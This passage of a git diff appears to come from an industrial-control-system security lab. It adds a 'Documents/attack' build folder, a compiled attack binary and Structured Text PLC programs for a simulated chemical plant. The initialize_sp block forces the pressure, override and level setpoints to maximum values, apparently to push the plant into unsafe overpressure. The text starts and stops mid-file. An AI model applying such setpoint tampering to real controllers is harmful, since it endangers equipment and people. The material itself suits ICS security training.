+426;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +427;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +428;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +429;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +430;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +431;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +432;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +433;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +434;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +435;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +436;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +437;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +438;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +439;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +440;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +441;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +442;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +443;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +444;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +445;VAR;CONFIG0.RES0.INSTANCE0.ADD87_OUT;CONFIG0.RES0.INSTANCE0.ADD87_OUT;UINT; +446;VAR;CONFIG0.RES0.INSTANCE0.GE91_OUT;CONFIG0.RES0.INSTANCE0.GE91_OUT;BOOL; +447;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;CONFIG0.RES0.INSTANCE0.MOVE92_ENO;BOOL; +448;VAR;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;CONFIG0.RES0.INSTANCE0.MOVE92_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so new file mode 100755 index 0000000..584c89c --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/attack.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st new file mode 100644 index 0000000..e39c5bd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/generated_plc.st @@ -0,0 +1,518 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 new file mode 100644 index 0000000..8af5f5e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +5a438746873feeb5984adb25694ca5c9 \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st new file mode 100644 index 0000000..93fa1aa --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc.st @@ -0,0 +1,612 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := 